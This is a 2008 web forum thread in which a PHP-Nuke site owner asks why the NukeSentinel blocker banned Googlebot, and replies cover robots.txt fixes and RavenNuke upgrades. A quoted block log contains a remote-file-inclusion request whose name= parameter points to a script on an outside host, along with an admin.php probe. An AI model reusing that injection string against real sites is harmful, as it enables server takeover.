How to prevent Google from being blocked?

Regular Joined: Jan 10, 2006 Posts: 93

So, I was super psyched after getting my Sentinel blocker working with permanent bans -- it was catching everything! Blocked 30-40 IPs the first day and then 6-10/day since then.

Also, I removed my unused OSC installation, which I think had the hole in it. Since then, no hacks.

However, I then Googled myself today and noticed that I went from being #1 on Google for "Bodyboarding" to not being ranked at all!

It would seem that Google got blocked somehow along the way.

I was reading Google's website, and it seems like Google's IP changes day to day, and the only way to tell is by the User Agent. I scanned through my blocked IPs and saw two user agents with Google in the name. How does one ensure that Google is not blocked, while the baddies are?

The bizarre thing is that it looks like the google bot was trying to run a script on me... see these two reports

Code:

Date &amp; Time: 2008-01-28 16:17:45 MST GMT -0700 Blocked IP: 72.43.212.123 User ID: Anonymous (1)


Reason: Abuse-Filter


--------------------


User Agent: Mediapartners-Google/2.1


Query String: www.eastcoastbodyboarding.com/modules.php?name=http://mrmariostar.mail15.su/.images/star?


Get String: www.eastcoastbodyboarding.com/modules.php?name=http://mrmariostar.mail15.su/.images/star?


Post String: www.eastcoastbodyboarding.com/modules.php








0700 Blocked IP: 66.249.67.78 User ID: Anonymous (1)


Reason: Abuse-Admin


--------------------


User Agent: Mediapartners-Google


Query String: www.eastcoastbodyboarding.com/admin.php?op=ABConfigAuthor


Get String: www.eastcoastbodyboarding.com/admin.php?op=ABConfigAuthor


Post String: www.eastcoastbodyboarding.com/admin.php


Forwarded For: none


Client IP: none


Remote Address: 66.249.67.78


Remote Port: 52845


Request Method: GET

registered · Posted: Sun Feb 03, 2008 9:40 pm

The first one doesn't seem to be Google.
72.43.212.123 is from an ISP named Road Runner

The second one is a Google IP address. Why they are hitting your admin.php page, I have no idea. If you haven't already, you'll want to disallow admin.php in your robots.txt page

Posted: Sat Feb 09, 2008 3:54 pm

interesting -- my robots.txt file (which was just the standard from my nuke install) was disallowing "admin.php". I had to change it to "/admin.php" and the it worked.

registered · Posted: Mon Feb 11, 2008 6:50 am

Nash, even though you are not using RavenNuke(tm), if you want to see how we've coded our robots.txt file, just download the package and take a look... Wink

New Member Joined: Jan 23, 2008 Posts: 3

I am using RN! 7.6 v2.02

Maybe my robots file didn't get updated when I upgraded to RN a year or two ago -- not sure, but I would assume that I would have uploaded all the files

Posted: Mon Feb 11, 2008 4:01 pm

I have just checked our repository and can confirm that due to an oversight RN 2.02.02 did have this bug. It was subsequently corrected in a patch release.

Posted: Wed Feb 13, 2008 6:36 am

ecbb, you may want to consider upgrading to the just released 2.20.00 version. The previous 2.10.00 was a very large improvement over the 2.02.x branch that I would hate for you to not be taking advantage of all the additional bug fixes, security fixes, XHTML compliance, etc....

Posted: Wed Feb 13, 2008 1:04 pm

excellent -- I have been waiting for this new release. I am concerned that I will have difficulty upgrading though if there is not clear instruction to get from 2.02 to 2.20. I tried to upgrade to the last version but it did not work

Posted: Wed Feb 13, 2008 8:25 pm

ecbb, Many have come before you and many will come after you. The key is always having good records of what you have customized so that you can re-apply those edits.

We made it even easier this time as it should go back to 2.02.00 and upgrade the db to 2.20.00 latest all in one script for the core and one for NukeSentinel.

If you have made lots of file customizations, yes, that makes your job more difficult and why you need to test drive your process on your PC using a copy of your site and XAMPP.